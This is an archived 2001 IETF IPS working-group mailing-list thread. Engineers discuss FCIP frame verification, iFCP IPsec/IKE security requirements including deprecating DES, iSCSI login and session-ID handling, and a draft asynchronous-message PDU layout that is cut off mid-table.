South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Sat Sep 8 01:08:22 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA08056 for ; Sat, 8 Sep 2001 01:08:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f88422912197 for ips-outgoing; Sat, 8 Sep 2001 00:02:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87H4lP02534 for ; Fri, 7 Sep 2001 13:04:47 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id KAA20737; Fri, 7 Sep 2001 10:04:17 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 10:04:16 -0700 Message-ID: From: Robert Snively To: "'Barry Reinhold'" , ISCSI Subject: RE: FCIP: Intent of standard in 6.6.2.2 Date: Fri, 7 Sep 2001 10:04:15 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk Barry, The text is, I believe, clear in specifying the authors' intent. The text says: Verification SHALL be accomplished by performing the following tests: a) Length field validation -- 63 < (Length * 4) < 2177 (f above); b) Comparison of Length field to its ones complement (f above); and c) At least 6 other of the 22 distinct tests listed above. Errors in FCIP Frame headers SHOULD be considered carefully, since some may be synchronization errors. For example, any failure of the Length field tests described above SHALL be handled as a synchronization error. Errors in FCIP Frames detected by the FCIP_DE that affect synchronization with the Encapsulated Frame Receiver Portal byte stream SHALL be handled as defined by section 6.6.2.3. It is clear from this that, if the length field goes bad, you absolutely cannot determine where the next frame is and synchronization is lost. 6.6.2.3 tells you the requirements for recovering synchronization or closing the TCP connection. Annex A gives you one example of a recovery algorithm meeting those requirements. Others are possible. The other fields that are tested give you confidence that everything is still working right and reduce the probability of falsely indicating that a bad frame is good to infinitesimal values. Numbers for passing a bad frame for good once every million years on a worst case link are considered infinitesimal. The selection of which of these tests to use depends on the implementation and architecture of the supporting firmware and hardware. Some tests may be impossible on some types of hardware. While some of these tests may mean that the frame needs to be discarded, you SHOULD consider in a vendor specific manner (that does not change interoperability) whether or not synchronization actually failed. As an example, if the length is valid but the EOF and CRC of the frame fail, and the header of the next frame fails some of its tests, it is likely that you have lost synchronization. However, if the length is valid, the EOF and CRC are valid, but the SOF is invalid, you need to discard the frame because you cannot define its class of service, but you have probably not lost synchronization. It really doesn't matter too much which set of tests you use, since they have the same effect. Bad frames will disappear from the link and be retried by ULP mechanisms. Loss of synchronization will be recovered after several frame losses or cause the connection to close, depending on how lucky you are and how lazy your implementation is. Would you suggest any wording changes to reflect that meaning? Bob > -----Original Message----- > From: Barry Reinhold [mailto:bbrtrebia@mediaone.net] > Sent: Thursday, September 06, 2001 11:23 AM > To: ISCSI > Subject: FCIP: Intent of standard in 6.6.2.2 > > > I would like to ensure that I am understanding the intent of > the standard > correctly relative to clause 6.6.2.2 (draft 05). > > Under the verification SHALL be accomplished.... > > item C "At least 6 other of the 21 distinct tests listed above." > > This means that there SHALL be six other fields tested and > that if any one > of them fail then sync. in the TCP stream shall not be > considered acquired. > It also means that a frame with 15 fields in error could pass the > verification test of some device and that device would still > be consider > compliant. Anyone reading this differently? From owner-ips@ece.cmu.edu Sat Sep 8 01:10:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA08227 for ; Sat, 8 Sep 2001 01:10:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f883OBo10388 for ips-outgoing; Fri, 7 Sep 2001 23:24:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zcars0m9.ca.nortel.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f883NpP10364 for ; Fri, 7 Sep 2001 23:23:51 -0400 (EDT) Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f883NIp25254 for ; Fri, 7 Sep 2001 23:23:18 -0400 (EDT) Received: from zcard00m.ca.nortel.com by zcars04e.ca.nortel.com; Fri, 7 Sep 2001 23:23:43 -0400 Received: from zbl6c002.corpeast.baynetworks.com ([132.245.205.52]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id S3343612; Fri, 7 Sep 2001 23:23:40 -0400 Received: from travos.nortelnetworks.com (CSE-NS-LAPTOP [47.16.12.24]) by zbl6c002.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RS891Z6B; Fri, 7 Sep 2001 23:23:37 -0400 Message-Id: <5.0.2.1.2.20010907222620.030750f0@zbl6c002.corpeast.baynetworks.com> X-Sender: travos@zbl6c002.corpeast.baynetworks.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 07 Sep 2001 23:40:15 -0400 To: Bill Strahm , ips From: "Franco Travostino" Subject: RE: iFCP: security position In-Reply-To: References: <5.0.2.1.2.20010907192713.039a8b70@zbl6c002.corpeast.baynetworks.com> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_5765005==_.ALT" X-Orig: Sender: owner-ips@ece.cmu.edu Precedence: bulk --=====================_5765005==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed At 07:27 PM 9/7/2001, Bill Strahm wrote: >Why do you care how traffic is encrypted ??? >Would you rather see Clear traffic than DES traffic ? In some setups, I'd rather be sending personal backup data in the clear (I seemingly don't care at all) than with DES (I seemingly do care quite a bit, but I'm also so clueless that anybody with a pocket calculator can break my cypher). DES may have its place still in wireless communication, or in real-time exchanges where the value of data quickly decays over time. It doesn't sound like it's a fit with storage, considering that 3DES is commodity these days. Cryptography has evolved a lot over time (MD5 is another museum piece that comes to mind). On issues like DES vs. 3DES, I'm comfortable with the IETF driving forward-looking statements during such high-churn time for cyphers, even at the cost of stepping over the mechanism vs. policy line. At 06:22 PM 9/7/2001, Black_David@emc.com wrote: >Bill's DES issue goes away if the DES requirements language is >"SHOULD NOT use". A facility that insists on using DES has >been more than adequately warned by the "SHOULD NOT". OK, we will take this into account. thanks! -franco >These are site security policies, and we as the IETF should stay out of it. >While we as a WG might raise our noses at certain algorithms, it turns out >that DES is SIGNIFICANTLY better than simple clear traffic. Are we planning >on putting statements saying we won't accept ENIGMA, ROT-13, etc. traffic as >well ? > >I am willing to live with the WG chairs prerogative to not require DES as a >MUST implement, because it is all ready a MUST implement in IPsec, therefore >there is no reason for our WG to add additional functionality to IPsec >layers. I am not willing to give in and say that there is a requirement >that policies that drive the IPsec/IKE engines exclude DES in all cases >(even where the admin wants to allow these protocols) > >Bill >-----Original Message----- >From: Franco Travostino [mailto:travos@nortelnetworks.com] >Sent: Friday, September 07, 2001 4:35 PM >To: Robert Snively; 'Bill Strahm'; ips@ece.cmu.edu >Subject: RE: iFCP: security position > > >At 06:57 PM 9/7/2001, Robert Snively wrote: > >If I understood their summary correctly, it was a SHOULD NOT >implement DES. That seems like an adequate warning without >creating a double bind. What I think it means is that a DES-only >device will not be compliant. Did I get that right? > > >Yes. In addition to that ... I will note that the "WG chair exercised his >prerogative to exclude DES from consideration" (from the interim meeting >security minutes posted on Aug 30). Since this makes practical good sense in >an iFCP environment as well, we will comply with whatever verbiage is >appropriate and correct wrt to IPS and IPsec WG jurisdictions. As long as we >don't see DES-encrypted storage traffic ever ... > >-franco > > > >Bob > > > -----Original Message----- > > From: Bill Strahm [mailto:bill@sanera.net] > > Sent: Friday, September 07, 2001 3:17 PM > > To: Franco Travostino; ips@ece.cmu.edu > > Subject: RE: iFCP: security position > > > > > > This is going to be very interseting... How do you plan on > > using standard > > IPsec clients that have DES as MUST implement when your > > application that > > sits above it has a MUST NOT implement requirement. This > > would be like > > having a protocol that tells layer 3 that it MUST run over > > Token Ring, but > > MUST NOT run over Ethernet. > > > > These are all policy issues that can be solved by having the end users > > implement appropriate policies, not by standards organizations > > > > Bill > > Sanera Systems Inc. > > -----Original Message----- > > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > > Franco Travostino > > Sent: Friday, September 07, 2001 1:31 PM > > To: ips@ece.cmu.edu > > Subject: iFCP: security position > > > > > > > > After the interim meeting, we restate our security coordinates in the > > following terms. Additionally, we have expanded our Irvine slides with > > rationale text and insights that we learnt at the interim > > meeting. Such > > amended slide set is available at > > ftp://standards.nortelnetworks.com/san/ifcp_security_requireme >nts-v2.pdf >Comments most welcome. > >Keying: IKE >Pre-shared keys: MUST implement >Signature key authentication: MAY implement >Phase-1/Main Mode: MUST implement >Phase-1/Aggressive Mode: MAY implement >Phase-2/Quick Mode: MUST implement >Phase-2/Quick Mode + KE payload: MUST implement >Identities are IP addresses in all Phase-1/Phase-2 Modes > > >Integrity MAC: >HMAC-SHA1: MUST implement >AES (X)CBC MAC: SHOULD implement* > > >Encryption: >3DES CBC: MUST implement >AES CTR: SHOULD implement* >DES: SHOULD NOT implement >NULL: MUST implement > > >Encapsulation Style: >Tunnel Mode. > > >(*) IFF there is a Proposed Standard RFC that we can cite by the time we hit >Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in >the slides). > >-franco >iFCP Technical Coordinator > > > >Franco Travostino, Director Content Internetworking Lab >Advanced Technology Investments >Nortel Networks, Inc. >600 Technology Park >Billerica, MA 01821 USA >Tel: 978 288 7708 Fax: 978 288 4690 >email: travos@nortelnetworks.com --=====================_5765005==_.ALT Content-Type: text/html; charset="us-ascii" At 07:27 PM 9/7/2001, Bill Strahm wrote:
Why do you care how traffic is encrypted ???
Would you rather see Clear traffic than DES traffic ?

<IMO>In some setups, I'd rather be sending personal backup data in the clear (I seemingly don't care at all) than with DES (I seemingly do care quite a bit, but I'm also so clueless that anybody with a pocket calculator can break my cypher). DES may have its place still in wireless communication, or in real-time exchanges where the value of data quickly decays over time. It doesn't sound like it's a fit with storage,  considering that 3DES is commodity these days. Cryptography has evolved a lot over time (MD5 is another museum piece that comes to mind). On issues like DES vs. 3DES, I'm comfortable with the IETF driving forward-looking statements during such high-churn time for cyphers, even at the cost of stepping over the mechanism vs. policy line.</IMO>

At 06:22 PM 9/7/2001, Black_David@emc.com wrote:
Bill's DES issue goes away if the DES requirements language is
"SHOULD NOT use".  A facility that insists on using DES has
been more than adequately warned by the "SHOULD NOT".

OK, we will take this into account.

thanks!
-franco

These are site security policies, and we as the IETF should stay out of it.
While we as a WG might raise our noses at certain algorithms, it turns out
that DES is SIGNIFICANTLY better than simple clear traffic.  Are we planning
on putting statements saying we won't accept ENIGMA, ROT-13, etc. traffic as
well ?

I am willing to live with the WG chairs prerogative to not require DES as a
MUST implement, because it is all ready a MUST implement in IPsec, therefore
there is no reason for our WG to add additional functionality to IPsec
layers.  I am not willing to give in and say that there is a requirement
that policies that drive the IPsec/IKE engines exclude DES in all cases
(even where the admin wants to allow these protocols)

Bill
-----Original Message-----
From: Franco Travostino [mailto:travos@nortelnetworks.com]
Sent: Friday, September 07, 2001 4:35 PM
To: Robert Snively; 'Bill Strahm'; ips@ece.cmu.edu
Subject: RE: iFCP: security position


At 06:57 PM 9/7/2001, Robert Snively wrote:

If I understood their summary correctly, it was a SHOULD NOT
implement DES.  That seems like an adequate warning without
creating a double bind.  What I think it means is that a DES-only
device will not be compliant.  Did I get that right?


Yes. In addition to that ... I will note that the "WG chair exercised his
prerogative to exclude DES from consideration" (from the interim meeting
security minutes posted on Aug 30). Since this makes practical good sense in
an iFCP environment as well, we will comply with whatever verbiage is
appropriate and correct wrt to IPS and IPsec WG jurisdictions. As long as we
don't see DES-encrypted storage traffic ever ...

-franco



Bob

> -----Original Message-----
> From: Bill Strahm [mailto:bill@sanera.net]
> Sent: Friday, September 07, 2001 3:17 PM
> To: Franco Travostino; ips@ece.cmu.edu
> Subject: RE: iFCP: security position
>
>
> This is going to be very interseting... How do you plan on
> using standard
> IPsec clients that have DES as MUST implement when your
> application that
> sits above it has a MUST NOT implement requirement.  This
> would be like
> having a protocol that tells layer 3 that it MUST run over
> Token Ring, but
> MUST NOT run over Ethernet.
>
> These are all policy issues that can be solved by having the end users
> implement appropriate policies, not by standards organizations
>
> Bill
> Sanera Systems Inc.
> -----Original Message-----
> From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of
> Franco Travostino
> Sent: Friday, September 07, 2001 1:31 PM
> To: ips@ece.cmu.edu
> Subject: iFCP: security position
>
>
>
> After the interim meeting, we restate our security coordinates in the
> following terms. Additionally, we have expanded our Irvine slides with
> rationale text and insights that we learnt at the interim
> meeting. Such
> amended slide set is available at
> ftp://standards.nortelnetworks.com/san/ifcp_security_requireme
nts-v2.pdf
Comments most welcome.

Keying: IKE
Pre-shared keys: MUST implement
Signature key authentication: MAY implement
Phase-1/Main Mode: MUST implement
Phase-1/Aggressive Mode: MAY implement
Phase-2/Quick Mode: MUST implement
Phase-2/Quick Mode + KE payload: MUST implement
Identities are IP addresses in all Phase-1/Phase-2 Modes


Integrity MAC:
HMAC-SHA1: MUST implement
AES (X)CBC MAC: SHOULD implement*


Encryption:
3DES CBC: MUST implement
AES CTR: SHOULD implement*
DES: SHOULD NOT implement
NULL: MUST implement


Encapsulation Style:
Tunnel Mode.


(*) IFF there is a Proposed Standard RFC that we can cite by the time we hit
Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in
the slides).

-franco
iFCP Technical Coordinator



Franco Travostino, Director Content Internetworking Lab
Advanced Technology Investments
Nortel Networks, Inc.
600 Technology Park
Billerica, MA 01821 USA
Tel: 978 288 7708 Fax: 978 288 4690
email: travos@nortelnetworks.com
--=====================_5765005==_.ALT-- From owner-ips@ece.cmu.edu Sat Sep 8 01:29:15 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA09398 for ; Sat, 8 Sep 2001 01:29:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8847PN12563 for ips-outgoing; Sat, 8 Sep 2001 00:07:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87N0RP27568 for ; Fri, 7 Sep 2001 19:00:28 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id PAA22051; Fri, 7 Sep 2001 15:57:45 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 15:57:45 -0700 Message-ID: From: Robert Snively To: "'Bill Strahm'" , Franco Travostino , ips@ece.cmu.edu Subject: RE: iFCP: security position Date: Fri, 7 Sep 2001 15:57:42 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk If I understood their summary correctly, it was a SHOULD NOT implement DES. That seems like an adequate warning without creating a double bind. What I think it means is that a DES-only device will not be compliant. Did I get that right? Bob > -----Original Message----- > From: Bill Strahm [mailto:bill@sanera.net] > Sent: Friday, September 07, 2001 3:17 PM > To: Franco Travostino; ips@ece.cmu.edu > Subject: RE: iFCP: security position > > > This is going to be very interseting... How do you plan on > using standard > IPsec clients that have DES as MUST implement when your > application that > sits above it has a MUST NOT implement requirement. This > would be like > having a protocol that tells layer 3 that it MUST run over > Token Ring, but > MUST NOT run over Ethernet. > > These are all policy issues that can be solved by having the end users > implement appropriate policies, not by standards organizations > > Bill > Sanera Systems Inc. > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Franco Travostino > Sent: Friday, September 07, 2001 1:31 PM > To: ips@ece.cmu.edu > Subject: iFCP: security position > > > > After the interim meeting, we restate our security coordinates in the > following terms. Additionally, we have expanded our Irvine slides with > rationale text and insights that we learnt at the interim > meeting. Such > amended slide set is available at > ftp://standards.nortelnetworks.com/san/ifcp_security_requireme nts-v2.pdf Comments most welcome. Keying: IKE Pre-shared keys: MUST implement Signature key authentication: MAY implement Phase-1/Main Mode: MUST implement Phase-1/Aggressive Mode: MAY implement Phase-2/Quick Mode: MUST implement Phase-2/Quick Mode + KE payload: MUST implement Identities are IP addresses in all Phase-1/Phase-2 Modes Integrity MAC: HMAC-SHA1: MUST implement AES (X)CBC MAC: SHOULD implement* Encryption: 3DES CBC: MUST implement AES CTR: SHOULD implement* DES: SHOULD NOT implement NULL: MUST implement Encapsulation Style: Tunnel Mode. (*) IFF there is a Proposed Standard RFC that we can cite by the time we hit Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in the slides). -franco iFCP Technical Coordinator Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com From owner-ips@ece.cmu.edu Sat Sep 8 01:43:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA10087 for ; Sat, 8 Sep 2001 01:43:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8846oC12526 for ips-outgoing; Sat, 8 Sep 2001 00:06:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87MKiP25450 for ; Fri, 7 Sep 2001 18:20:44 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id PAA19310; Fri, 7 Sep 2001 15:20:29 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 15:20:28 -0700 Message-ID: From: Robert Snively To: "'Black_David@emc.com'" , ips@ece.cmu.edu Subject: RE: FCIP and iFCP Keying Problem Date: Fri, 7 Sep 2001 15:20:27 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk David, Could you please give us a short tutorial or reference explaining this weakness for us beginners in security? Many thanks, Bob Snively > > That's not acceptable because the result of combining > the two mandatory (MUST) mechanisms is vulnerable to a > man-in-the-middle attack. > ----- Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD71A@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: FCIP and iFCP Keying Problem Date: Fri, 7 Sep 2001 13:33:58 -0700 Importance: high X-Priority: 1 X-Mailer: Internet Mail Service (5.5.2653.19) Both FCIP and iFCP intend to require: - IKE with pre-shared keys MUST implement - IKE with public-key based keys MAY implement - IKE Main Mode MUST implement - IKE Aggressive Mode MAY implement That's not acceptable because the result of combining the two mandatory (MUST) mechanisms is vulnerable to a man-in-the-middle attack. If IKE with pre-shared keys is "MUST implement" (which makes sense, as it's the simplest IKE authentication mechanism), then: - IKE Aggressive Mode needs to be "MUST implement" - Use of IKE Main Mode with pre-shared keys needs to be "SHOULD NOT use" or "MUST NOT use". Alternatively, if IKE Aggressive Mode remains "MAY implement", then: - IKE with signature authentication based on public keys needs to be "MUST implement" along with some certificate usage guidelines. - Pre-Shared keys needs to be "MAY implement" (can't be any stronger than the requirement for IKE Aggressive Mode). - Use of IKE Main Mode with pre-shared keys needs to be "SHOULD not use" or "MUST not use". Changing IKE to remove the Main Mode vulnerability with pre-shared keys is not a viable approach. Sorry, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Sat Sep 8 04:28:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA23419 for ; Sat, 8 Sep 2001 04:28:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f886sYm19871 for ips-outgoing; Sat, 8 Sep 2001 02:54:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f886sVP19867 for ; Sat, 8 Sep 2001 02:54:32 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id IAA08674 for ; Sat, 8 Sep 2001 08:54:02 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f886s1310714 for ; Sat, 8 Sep 2001 08:54:01 +0200 Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 8 Sep 2001 09:53:15 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 08/09/2001 09:54:01 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk The OS name (InitiatorName) is meant for the OS. If you want to have one OS handle several sessions with a target you need another element controllable by the host to distinguish a session from another (i.e. the target should not be the one to reassign it). This is needed for the "long lived" things like reservations that live beyond a session and have to be reassigned to their rightful owners. That was the reason we made-up the sessionID from two parts (and not a long one assigned by one part). For the CID the assigning entity was chosen arbitrarily (yes it could have been the target but we needed him to check anyhow for a restart). As for how to handle the a "bad ISID" I think that this issue has been discussed far too long and very eloquent (i.e., convincing but not necessarily right). I have stated my position several times here and I am not going to repeat it. Julo "Eddy Quicksall" on 07-09-2001 00:36:03 Please respond to To: Julian Satran/Haifa/IBM@IBMIL cc: Subject: RE: iSCSI: login issue - partial consensus call Julian, There seems to be a lot of helter/scelter discussion in this thread. It seems like the general problem is the ISID and it seems that the reason for that is because the InitiiatorName has been assigned to the host. I would like to propose the following but I think everyone is too engrossed in solving a hard problem instead of making a hard problem easy. Or, maybe I just don't have enough background and I would just clutter the reflector with stupid ideas. Can you comment to me on this idea ... you have probably already gone through it? - make the InitiatorName be the name of the entity that maintains unique ISID's. That could be an HBA or a driver controlling several NIC's. - make a new name called the HostName that can be used for authentication. The HostName could be optional because some special case HBA's may only be used on closed connections and will not need authentication. - to reset a session use the TSID instead of the ISID (because the target can supply unique TSID's to everyone (may need to expand the TSID to 32 bits)) and use a bit in the login to say you are resetting. BTW, I don't like the idea of making every run-time target "debug" someone's code ... that should be up to the host bashers. Eddy -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Friday, August 31, 2001 12:24 AM To: ips@ece.cmu.edu Subject: iSCSI: login issue - partial consensus call A review of this long running thread. We started out with Mallikarjun's three options: A) Should iSCSI let it happen by default as stated above (i.e. same ISID, TSID=0 always wipes out the pre-existing session on target, since we are mandating it to be used only when initiator sees a session failure)? B) Should iSCSI mandate making this intended cleanup explicit by setting a bit (Say C-bit, for Clear) in the Login Command PDU to prevent an accidental session cleanup with a buggy initiator code? C) Should iSCSI merely state that targets must ascertain the connection state(s) whenever a new session creation attempt is made with a known ISID and TSID=0? (sort of defeats the intention of the initiator wanting quicker session recovery since the Login command PDU would have to idle till target ascertains the connection state(s)). Based on my review of the emails, here's what I think the state of the discussion is: (1) I see no support for Option C. The remaining options are A, B, and Julian's version of B in which the X bit is reused as the C bit. (2) I see strong objections to the reuse of the X bit that Julian proposed, and no interest in it from anyone other than Julian. The objections are that the X bit is already heavily involved in error recovery and adding more semantics to it is an invitation to trouble. Therefore, I believe the rough consensus of the IPS WG is that the X bit is not to be reused in this fashion. (3) I believe the rough consensus is that the situation being analyzed here can occur as a consequence of an initiator reboot (i.e., if the reboot is fast with respect to the target's timeout-based session cleanup). The consensus calls in (2) and (3) are over Julian Satran's proposal/ comments/objection. Anyone else who objects to these should post to the list. This leaves options A and B as originally stated. Most people seem to be in favor of option A - the two exceptions I noticed were Julian and Venkat. Julian's objection can be summarized with a couple of quotes: > Option A is prone to "wild closing of sessions" > Option A is clearly unacceptable as an initiator may do harm. The wild closing of sessions seems to be based on a different iSCSI interface with the same Initiator name using the same ISID. This is a definite risk as it's an area in which iSCSI differs from Fibre Channel. FC identifies sessions via hardware identities which tend to be static and unique, and set by the hardware vendor. The iSCSI ISID is a dynamically managed entity, and bugs in managing it across multiple interfaces (which may involve hardware and software from multiple vendors) will cause this session closing problem, whereas for it to happen in FC, the hardware identity has to be duplicated. FWIW, I do know of an FC system that rejects duplicate logins under some circumstances rather than implicitly destroying the existing session, although I don't believe that behavior can be overridden via inband means as is proposed here. OTOH, a different OS should have different iSCSI Initiator Name, and denial of service attacks should be foiled by proper use of authentication. I also tend to agree with the architectural point of view that an initiator is in charge of its own sessions. So, I think Julian has a point here, although some of the things he's posted are overstated. This is also Venkat's concern - unintentional reuse of an ISID by the same Initiator: > 2. There is some value in protecting an accidental use of an > existing ISID by a second client (ISID=, TSID=0). > This can be done with a Reject of the login attempt, In contrast to some of the responses to Venkat, I interpret "client" to mean another iSCSI port on the same Initiator, and then his concern matches Julian's. Venkat seems to think that there's a useful distinction between boot scenarios in which teardown of existing sessions is needed and boot scenarios in which it's not needed - I have no idea how to figure that out in practice, and suspect that Marj is right when she says that the C bit will be set all the time. I agree that the C bit is always set in a session recovery scenario because the intent is to blow away the existing session. So, I'm not ready to call consensus on the A vs. B. issue. In hopes of making further progress, I would ask the proponents of B (Venkat, Julian, and anyone else who thinks this is valuable - I assume Julian prefers B to A, even if the WG does not like using the X bit for B) to post short answers to the following questions: Under what circumstances would an Initiator not set the C bit for option B? What information would the Initiator use to decide not to set the C bit? I apologize if this was in some of the emails and I missed it - there were a lot of them. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Sat Sep 8 05:12:51 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23781 for ; Sat, 8 Sep 2001 05:12:51 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f887vDM22448 for ips-outgoing; Sat, 8 Sep 2001 03:57:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f887v0P22432 for ; Sat, 8 Sep 2001 03:57:08 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id JAA05076 for ; Sat, 8 Sep 2001 09:56:45 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f887uiJ17064 for ; Sat, 8 Sep 2001 09:56:44 +0200 Importance: Normal Subject: Re: iSCSI: Async events - SCSI and iSCSI To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 8 Sep 2001 10:55:57 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 08/09/2001 10:56:44 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk OK Mark - How about: 1.1 Asynchronous Message An Asynchronous Message may be sent from the target to the initiator without corresponding to a particular command. The target specifies the status and reason for the event and sense data. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|1|1| 0x32 |1| Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| LUN | + + 12| | +---------------+---------------+---------------+---------------+ 16/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 24| StatSN | +---------------+---------------+---------------+---------------+ 28| ExpCmdSN | +---------------+---------------+---------------+---------------+ 32| MaxCmdSN | +---------------+---------------+---------------+---------------+ 36| AsyncEvent | Reserved | Parameter1 or Reserved | +---------------+---------------+---------------+---------------+ 40| 